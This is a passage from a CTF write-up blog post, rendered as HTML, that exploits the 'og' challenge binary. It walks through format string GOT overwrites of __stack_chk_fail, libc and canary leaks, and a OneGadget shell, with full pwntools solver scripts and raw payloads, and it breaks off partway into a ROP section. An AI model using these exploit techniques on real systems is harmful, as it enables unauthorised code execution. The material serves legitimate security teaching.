class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> offset_bytes<span class=\"token operator\">=</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> no_dollars<span class=\"token operator\">=</span><span class=\"token boolean\">False</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>So the user only needs to supply <code class=\"language-text\">offset</code> (the position of the topmost accessible stack address relative to the format specifier) and <code class=\"language-text\">writes</code> (a dictionary of address-value pairs to overwrite) to exploit FSB easily.</p>\n<p>As confirmed earlier, the <code class=\"language-text\">offset</code> for the topmost accessible stack argument in this binary’s FSB exploit is 6.</p>\n<p>The GOT address of <code class=\"language-text\">__stack_chk_fail</code> is <code class=\"language-text\">0x404018</code>, and the call address of <code class=\"language-text\">go</code> is <code class=\"language-text\">0x401196</code>.</p>\n<p>Given this information, the following script easily generates a payload for the GOT override:</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">fmtstr_payload<span class=\"token punctuation\">(</span>offset<span class=\"token operator\">=</span><span class=\"token number\">6</span><span class=\"token punctuation\">,</span> writes<span class=\"token operator\">=</span><span class=\"token punctuation\">{</span>elf<span class=\"token punctuation\">.</span>got<span class=\"token punctuation\">[</span><span class=\"token string\">\"__stack_chk_fail\"</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">:</span><span class=\"token number\">0x401196</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>Running this script generates the following payload:</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token string\">b'%150c%11$lln%123c%12$hhn%47c%13$hhnaaaab\\x18@@\\x00\\x00\\x00\\x00\\x00\\x19@@\\x00\\x00\\x00\\x00\\x00\\x1a@@\\x00\\x00\\x00\\x00\\x00'</span></code></pre></div>\n<p>In this payload, <code class=\"language-text\">%150c%11$lln</code> first writes <code class=\"language-text\">0x96</code> to <code class=\"language-text\">0x404018</code>.</p>\n<p>The reason <code class=\"language-text\">%lln</code> is used despite the default write_size being byte is likely to flush any other data at the target memory by writing <code class=\"language-text\">0x96</code> as a long long type.</p>\n<p>Also, unlike the handmade payload — which sorts writes from smallest value to largest — the <code class=\"language-text\">fmtstr_payload</code>-generated payload writes 1 byte at a time from <code class=\"language-text\">0x404018</code> to <code class=\"language-text\">0x40401a</code> in order.</p>\n<p>This likely exploits the property of <code class=\"language-text\">%hhn</code> that bytes beyond the lower 1 byte are ignored.</p>\n<p>As a result, even if <code class=\"language-text\">0x96</code> is written first, additional output can bring the count to <code class=\"language-text\">0x111</code> or <code class=\"language-text\">0x140</code>, effectively writing <code class=\"language-text\">0x96</code>, <code class=\"language-text\">0x11</code>, and <code class=\"language-text\">0x40</code> in sequence.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 200px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/8fb00115c182671b6a1a1c6f537de185/772e8/image-20240609222154782.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACGklEQVQoz22T7VMSURTGV9OytBen+mIKpLwvrCwYLxOMQLC8v61oQIICQ1aGNaPONOP4rf/76ZyTUKgfnrl377377Dm/566StkZQDxgwgzlEX/pQ07Jo7hRh2OO0lpe99vsa+pkWPkYrePfCA21pE4En9nulZDZjOIiURREyLHmTuDwc47Q+RC+1j6P0Ac72RrganGNgtBFeVaE9+me4/Xhr1jC86kVVy6ChG2hQlUOjg6InOT0QeuaGvuwgk7fQVxwI0Fy/0X2mirpoRSfewHn7FJ+LXfw6/omCexdu5Q38ZML7PHeRvPMbUBcs8D7YIFmk0u2lrRlTJWUJo+r/IOJqi2TG7HKOOFWdu2FYxyDbRsWXRplkhgrCc4/GnefuGaYzDKOv/GLADL9WjtFLNoXhmBhejy7lmcP5VuvjpNRDd7cpRUyYcpXCsEYMOeWSmpJQeEzbIvL14FOn8OL2uU19xSlcgzTy/DbPKcOLzncJ5FPClHQTa0HhJwzn/jJUF6xi6plfh2eORExdyhrtr0uV3PqUYYUUe60Jt1asirwzIcnfZshidoyI54yE98xQnip33WXIh37sn0jik3t4h2G1jy/lI3TpeWyOqKuGiC+9MOTquBJOmP+UUeFQuDInZsiwfYs2aTGwbKc1l/DiVuV6PbTJuoTCfQ+yLVwNL+Srw1wHv8+upV024UOTO8bwec7v8Ph/IJMzfwCLtYW+OBfq5wAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/8fb00115c182671b6a1a1c6f537de185/ba381/image-20240609222154782.webp 200w\"\n              sizes=\"(max-width: 200px) 100vw, 200px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/8fb00115c182671b6a1a1c6f537de185/772e8/image-20240609222154782.png 200w\"\n            sizes=\"(max-width: 200px) 100vw, 200px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/8fb00115c182671b6a1a1c6f537de185/772e8/image-20240609222154782.png\"\n            alt=\"image-20240609222154782\"\n            title=\"image-20240609222154782\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Comparing such a refined script-generated payload with a handmade one is a great learning exercise for understanding the tool’s design choices.</p>\n<h3 id=\"solution-1-get-a-shell-with-onegadget\" style=\"position:relative;\"><a href=\"#solution-1-get-a-shell-with-onegadget\" aria-label=\"solution 1 get a shell with onegadget permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Solution 1: Get a Shell with OneGadget</h3>\n<p>Having successfully leaked the libc base address and performed the GOT override via FSB, we can now obtain a shell for this challenge.</p>\n<p>To get a shell using these two techniques, I’ll use <code class=\"language-text\">one_gadget</code> — introduced in the security CTF book “詳解セキュリティコンテスト” — for a one-gadget RCE.</p>\n<p>Reference: <a href=\"https://github.com/david942j/one_gadget\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">david942j/one_gadget: The best tool for finding one gadget RCE in libc.so.6</a></p>\n<p>First, copy the same-version <code class=\"language-text\">libc.so.6</code> file (<code class=\"language-text\">/srv/usr/lib/x86_64-linux-gnu/libc.so.6</code>) from the container built using the provided Dockerfile to your local machine.</p>\n<p>Then run the following command to identify the one-gadget RCE address:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token comment\"># sudo gem install one_gadget</span>\none_gadget ./libc.so.6</code></pre></div>\n<p>Running this command produces the following output:</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 778px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/77e651148f506d1ff4b98eec9094a365/20982/image-20240610000108947.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 105.41666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEBklEQVQ4y3WVeY/aVhTFkZLJMmommS2zALbBxhs2eME7tgHbYJZZQlqpitQq3/9LnF4/BrWqJn882Qhx3/3dc86l9bu6wA99ib0aoRyEWA0yrAc5oq6OoKPA60jIuwGSWwfDEx7mSQ/mux5GH/oYfxTZk73TsU4ltGbcCN+nGTZmhJ07QzWYojAd/OHt8GAWCG50hB0Vs46HoheikiOkbQfumQr3E134WYP3RWefmwta0Z2FYKBh0UtR9ahYz8ecTtw2EEkqSjlB2rFRiTGmNw6ygYm87yFv+4iu6b0zwZzzMb2zDwV3VOS5l2PNu8i55ssARTeC91WGfS3AuSKkdyKGbzkYJwKGb3j2PGAS8vs+zPeHETDkSnDwZ1xgawSox9RhP0YxdLF31tgoM7hXA/i3CqKrEdJ7hzpy4V8MWTdNgf8e1qF7qyJSdMLysNMXiDsGfFHESkqZOAGnIBF1VP0EW32GR5prg9l09WrBWkiw7saoeZ/mcpjHgpCtix7GVxy8uwGsDwNSVjggk9JHvNe6bG0lHz/jNd3sYTWKUUkZSjXAk1VhJU/hnEuYXMoICLMRIbkZY0LKvlaMFXTuaT5DHXOa3Te7RsKZCBUJj0aJh2GJUJCRygZquuhpXGHv1ljwwavIhw775MEGmfMw63oMed4JML7kydwm0lsf9o0A6zeRKay/IbUJ/4j8/05by76Nv8IV9naMchhgrRR4Jty9UyMXbQTXOqXEQnhlEvII2b2L+Ov41zO0byUEskoJybDV5sh5BwvDYe+F7CEVTSyUCZbiFNvhnC5bYiklv7ZNLUyx4aco2y6zw6w7QXbnYnzOIe6S924CQuaRdCykdx4pzTPkXxZckbF/OBWeyNhz6qQezLHRcsrxAik/JhNTlq8NeOcaUzq8NOFTdq3TfxfD8TBk/15FOjKwHVVYUm7XSo7n8RJrLUWsKajJzI3CGzUndUPUdoStNadlEdJcDfKue8gyzZl1OKcvsraN2T3hUuBn3OFpXQgIOY0UT+C1aYX1yAWkvnUmwv40wORMow1D2+bLYdscvdl6EiP8ParxrJNl5GZFNXkOaMsEtIEC9kNmboZsHFJDiWmS03jxmJ6jlVo+LdGFZ+FxsiK8DLVJAhmk6sjHbpKjpgXRrLVHs8RazjDXbCZQ3g6YlTKG7BHyy/oqyNQzzkHFRczQTQpKLmHIgaCgFGhBdGUsaJvPqIhzLmJyocE/NwhTfRGKFsq5fij4KIX4aW/wpNNN8gQl+a0QAyy1CAshYshNlt3PClPYPVVhf5QIkWfYw7cv6Tl5QW4GXwQW9uEDdmSVB/obWI8T1L6PbZiRkXcM98EoUPZirCcRvscbMnrGlgUj6keUIId1+A/5D32ZRMQUrgAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/77e651148f506d1ff4b98eec9094a365/8ac56/image-20240610000108947.webp 240w,\n/static/77e651148f506d1ff4b98eec9094a365/d3be9/image-20240610000108947.webp 480w,\n/static/77e651148f506d1ff4b98eec9094a365/10884/image-20240610000108947.webp 778w\"\n              sizes=\"(max-width: 778px) 100vw, 778px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/77e651148f506d1ff4b98eec9094a365/8ff5a/image-20240610000108947.png 240w,\n/static/77e651148f506d1ff4b98eec9094a365/e85cb/image-20240610000108947.png 480w,\n/static/77e651148f506d1ff4b98eec9094a365/20982/image-20240610000108947.png 778w\"\n            sizes=\"(max-width: 778px) 100vw, 778px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/77e651148f506d1ff4b98eec9094a365/20982/image-20240610000108947.png\"\n            alt=\"image-20240610000108947\"\n            title=\"image-20240610000108947\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Using the libc address leaked via FSB, the GOT override, and this OneGadget, the following solver obtains a shell:</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> pwn <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n\n<span class=\"token comment\"># Set target</span>\nTARGET_PATH <span class=\"token operator\">=</span> <span class=\"token string\">\"./og\"</span>\nelf <span class=\"token operator\">=</span> context<span class=\"token punctuation\">.</span>binary <span class=\"token operator\">=</span> ELF<span class=\"token punctuation\">(</span>TARGET_PATH<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># target = process(TARGET_PATH)</span>\ntarget <span class=\"token operator\">=</span> remote<span class=\"token punctuation\">(</span><span class=\"token string\">\"challs.actf.co\"</span><span class=\"token punctuation\">,</span> <span class=\"token number\">31312</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># Exploit</span>\n<span class=\"token comment\"># First stage</span>\ntarget<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"Enter your name: \"</span><span class=\"token punctuation\">)</span>\npayload <span class=\"token operator\">=</span> <span class=\"token string\">b\"%64c%11$hn%4438c%10$hn%15$p\"</span> <span class=\"token operator\">+</span> <span class=\"token string\">b\"\\x90\"</span><span class=\"token operator\">*</span><span class=\"token number\">5</span> <span class=\"token operator\">+</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0x404018</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0x40401a</span><span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span>\n\nr <span class=\"token operator\">=</span> target<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"Enter your name: \"</span><span class=\"token punctuation\">)</span>\nl1 <span class=\"token operator\">=</span> <span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span><span class=\"token string\">b\"0x7f4dfd768d90\\x90\\x90\\x90\\x90\\x90\\x18@@kill $PPID; Enter your name: \"</span><span class=\"token punctuation\">)</span>\nl2 <span class=\"token operator\">=</span> <span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span><span class=\"token string\">b\"\\x90\\x90\\x90\\x90\\x90\\x18@@kill $PPID; Enter your name: \"</span><span class=\"token punctuation\">)</span>\nleaked_libc_main_ret <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">[</span><span class=\"token operator\">-</span>l1<span class=\"token punctuation\">:</span><span class=\"token operator\">-</span>l2<span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>decode<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\nleaked_libc_base <span class=\"token operator\">=</span> leaked_libc_main_ret <span class=\"token operator\">-</span> <span class=\"token number\">0x029d90</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>leaked_libc_main_ret<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># Second stage</span>\npayload <span class=\"token operator\">=</span> fmtstr_payload<span class=\"token punctuation\">(</span>offset<span class=\"token operator\">=</span><span class=\"token number\">6</span><span class=\"token punctuation\">,</span> writes<span class=\"token operator\">=</span><span class=\"token punctuation\">{</span>elf<span class=\"token punctuation\">.</span>got<span class=\"token punctuation\">[</span><span class=\"token string\">\"__stack_chk_fail\"</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">:</span>leaked_libc_base<span class=\"token operator\">+</span><span class=\"token number\">0xebc85</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>write_size<span class=\"token operator\">=</span><span class=\"token string\">\"short\"</span><span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span>\n\ntarget<span class=\"token punctuation\">.</span>clean<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>interactive<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>In the First stage, the handmade payload simultaneously overrides the GOT address of <code class=\"language-text\">__stack_chk_fail</code> to the <code class=\"language-text\">go</code> function’s call address and leaks the <code class=\"language-text\">__libc_start_main_ret</code> address.</p>\n<p>The reason for using a handmade payload rather than <code class=\"language-text\">fmtstr_payload</code> here is that appending an arbitrary format specifier (<code class=\"language-text\">%15$p</code>) to a <code class=\"language-text\">fmtstr_payload</code>-generated payload is cumbersome.</p>\n<p>If you prepend <code class=\"language-text\">%15$p</code> to the <code class=\"language-text\">fmtstr_payload</code>-generated payload, you need to adjust the stack position, output character count, and padding — making it nearly as much work as handcrafting from scratch.</p>\n<p>Also, <code class=\"language-text\">fmtstr_payload</code>-generated payloads typically contain <code class=\"language-text\">\\x00</code>, causing printf to stop printing everything after that point, so appending <code class=\"language-text\">%15$p</code> after the payload would prevent the address leak.</p>\n<p>Therefore, First stage uses a handmade payload to simultaneously perform the GOT override and the libc address leak.</p>\n<p>In the subsequent Second stage, the libc base address derived from the leaked address is combined with the OneGadget offset <code class=\"language-text\">0xebc85</code> and embedded into the GOT address of <code class=\"language-text\">__stack_chk_fail</code>. (The first address from one_gadget did not satisfy the conditions, so the second address <code class=\"language-text\">0xebc85</code> is used.)</p>\n<p>Note that <code class=\"language-text\">write_size=\"short\"</code> is specified here because using the default byte size would result in a payload of 0x78 bytes, exceeding the 0x42-byte input limit.</p>\n<p>Specifying <code class=\"language-text\">write_size=\"short\"</code> reduces the payload to 0x40 bytes.</p>\n<p>Running this script fires the OneGadget RCE embedded in <code class=\"language-text\">__stack_chk_fail</code>’s GOT during Second stage, obtaining a shell.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 611px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/57d53e404b1a6bbb4008ca6e44721849/36bb5/image-20240604225303804.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 13.333333333333334%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAApUlEQVQI12PwULf9byWm91+HTeG/Pqfyf0NuVTA24FYBYiibSwVFHCYGw4ZI6hhspIz+O8ia/reRMPxvKqD5X4tZ7r82CxCzygNpeTCty6YIFZeHi+sCHQByhA6rAlwPiM0QYx/8P9o28H+8U9j/AAO3/4FG7v/DLf3+++u7/vfWcgTTPjpO/4ONPf8Hm3iC+UFGHv/99Fz++wMxiAaJh5h6g/UDAFo9Wp2JzGymAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/57d53e404b1a6bbb4008ca6e44721849/8ac56/image-20240604225303804.webp 240w,\n/static/57d53e404b1a6bbb4008ca6e44721849/d3be9/image-20240604225303804.webp 480w,\n/static/57d53e404b1a6bbb4008ca6e44721849/ef8bf/image-20240604225303804.webp 611w\"\n              sizes=\"(max-width: 611px) 100vw, 611px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/57d53e404b1a6bbb4008ca6e44721849/8ff5a/image-20240604225303804.png 240w,\n/static/57d53e404b1a6bbb4008ca6e44721849/e85cb/image-20240604225303804.png 480w,\n/static/57d53e404b1a6bbb4008ca6e44721849/36bb5/image-20240604225303804.png 611w\"\n            sizes=\"(max-width: 611px) 100vw, 611px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/57d53e404b1a6bbb4008ca6e44721849/36bb5/image-20240604225303804.png\"\n            alt=\"image-20240604225303804\"\n            title=\"image-20240604225303804\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h3 id=\"bonus-concatenating-arbitrary-format-specifiers-to-fmtstr_payload\" style=\"position:relative;\"><a href=\"#bonus-concatenating-arbitrary-format-specifiers-to-fmtstr_payload\" aria-label=\"bonus concatenating arbitrary format specifiers to fmtstr_payload permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Bonus: Concatenating Arbitrary Format Specifiers to fmtstr_payload</h3>\n<p>It is of course possible to concatenate arbitrary format specifiers to a <code class=\"language-text\">fmtstr_payload</code>-generated payload.</p>\n<p>For this challenge binary, the following script creates a payload that simultaneously leaks the libc address and performs the GOT override:</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">payload <span class=\"token operator\">=</span> <span class=\"token string\">b\"%15$pAAA\"</span> <span class=\"token operator\">+</span> fmtstr_payload<span class=\"token punctuation\">(</span>offset<span class=\"token operator\">=</span><span class=\"token number\">7</span><span class=\"token punctuation\">,</span> numbwritten<span class=\"token operator\">=</span><span class=\"token number\">17</span><span class=\"token punctuation\">,</span> writes<span class=\"token operator\">=</span><span class=\"token punctuation\">{</span>elf<span class=\"token punctuation\">.</span>got<span class=\"token punctuation\">[</span><span class=\"token string\">\"__stack_chk_fail\"</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">:</span><span class=\"token number\">0x401196</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>write_size<span class=\"token operator\">=</span><span class=\"token string\">\"short\"</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>Here, the 8-byte string <code class=\"language-text\">b\"%15$pAAA\"</code> (including padding for stack alignment) is prepended to the <code class=\"language-text\">fmtstr_payload</code>-generated payload.</p>\n<p>Because prepending <code class=\"language-text\">%15</code> shifts the stack position by 8 bytes, the offset is changed from 6 to 7.</p>\n<p>Since <code class=\"language-text\">b\"%15$pAAA\"</code> is expected to print 17 characters (<code class=\"language-text\">0x7f4dfd768d90AAA</code>), <code class=\"language-text\">numbwritten</code> is set to 17.</p>\n<p>This way — with a bit of effort — arbitrary format specifiers can be appended to a <code class=\"language-text\">fmtstr_payload</code>-generated payload.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token string\">b'%15$pAAA%4485c%11$lln%170c%12$hhnaaaabaa\\x18@@\\x00\\x00\\x00\\x00\\x00\\x1a@@\\x00\\x00\\x00\\x00\\x00'</span></code></pre></div>\n<p>The reason <code class=\"language-text\">write_size=\"short\"</code> is also added here is the same as in the Second stage payload — to fit within the 0x42-byte input constraint.</p>\n<h2 id=\"rop-and-canary-bypass-in-practice\" style=\"position:relative;\"><a href=\"#rop-and-canary-bypass-in-practice\" aria-label=\"rop and canary bypass in practice permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>ROP and Canary Bypass in Practice</h2>\n<p>Although Solution 1 with OneGadget successfully obtained the shell and the Flag, I’d like to try an alternative approach: obtaining a shell via ROP.</p>\n<p>To perform ROP, you generally need to complete the following steps:</p>\n<ol>\n<li>If a Canary is present, bypass it</li>\n<li>Leak the libc version and base address as needed</li>\n<li>Build a ROP chain for the exploit</li>\n<li>Overcome the input limit and embed the exploit on the stack</li>\n</ol>\n<p>In this section, I’ll work through each of these steps using the same <code class=\"language-text\">og</code> binary.</p>\n<h3 id=\"performing-a-canary-bypass\" style=\"position:relative;\"><a href=\"#performing-a-canary-bypass\" aria-label=\"performing a canary bypass permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Performing a Canary Bypass</h3>\n<p>First, let’s bypass the Canary.</p>\n<p>We already practiced leaking the Canary via FSB, but let’s create a new payload adjusted to leak both the libc address and the Canary simultaneously while also performing the GOT override:</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">payload <span class=\"token operator\">=</span> <span class=\"token string\">b\"%15$p %33$pAAAAA\"</span> <span class=\"token operator\">+</span> fmtstr_payload<span class=\"token punctuation\">(</span>offset<span class=\"token operator\">=</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> numbwritten<span class=\"token operator\">=</span><span class=\"token number\">38</span><span class=\"token punctuation\">,</span> writes<span class=\"token operator\">=</span><span class=\"token punctuation\">{</span>elf<span class=\"token punctuation\">.</span>got<span class=\"token punctuation\">[</span><span class=\"token string\">\"__stack_chk_fail\"</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">:</span><span class=\"token number\">0x401196</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>write_size<span class=\"token operator\">=</span><span class=\"token string\">\"short\"</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>The reason <code class=\"language-text\">%33$p</code> is used for the Canary leak is — as shown in the earlier section — to leak the complete Canary from a deeper stack location in a single FSB exploit, even while corrupting <code class=\"language-text\">go</code>’s stack.</p>\n<p>By adjusting the payload sent to the second invocation of <code class=\"language-text\">go</code> so that the leaked Canary lands at RBP-0x8, we can trigger BoF without corrupting the Canary.</p>\n<p>In practice, adjusting the payload as follows confirms that we can overwrite the return address without destroying the Canary:</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">target<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"Enter your name: \"</span><span class=\"token punctuation\">)</span>\npayload <span class=\"token operator\">=</span> <span class=\"token string\">b\"%15$p %33$pAAAAA\"</span> <span class=\"token operator\">+</span> fmtstr_payload<span class=\"token punctuation\">(</span>offset<span class=\"token operator\">=</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> numbwritten<span class=\"token operator\">=</span><span class=\"token number\">38</span><span class=\"token punctuation\">,</span> writes<span class=\"token operator\">=</span><span class=\"token punctuation\">{</span>elf<span class=\"token punctuation\">.</span>got<span class=\"token punctuation\">[</span><span class=\"token string\">\"__stack_chk_fail\"</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">:</span><span class=\"token number\">0x401196</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>write_size<span class=\"token operator\">=</span><span class=\"token string\">\"short\"</span><span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span>\n\nr <span class=\"token operator\">=</span> target<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"Enter your name: \"</span><span class=\"token punctuation\">)</span>\nl <span class=\"token operator\">=</span> <span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span><span class=\"token string\">b\"Gotta go. See you around, 0x7ffff7dafd90 0x952782961e0ba900\"</span><span class=\"token punctuation\">)</span>\nleaked_libc_main_ret <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">[</span><span class=\"token punctuation\">:</span>l<span class=\"token punctuation\">]</span><span class=\"token 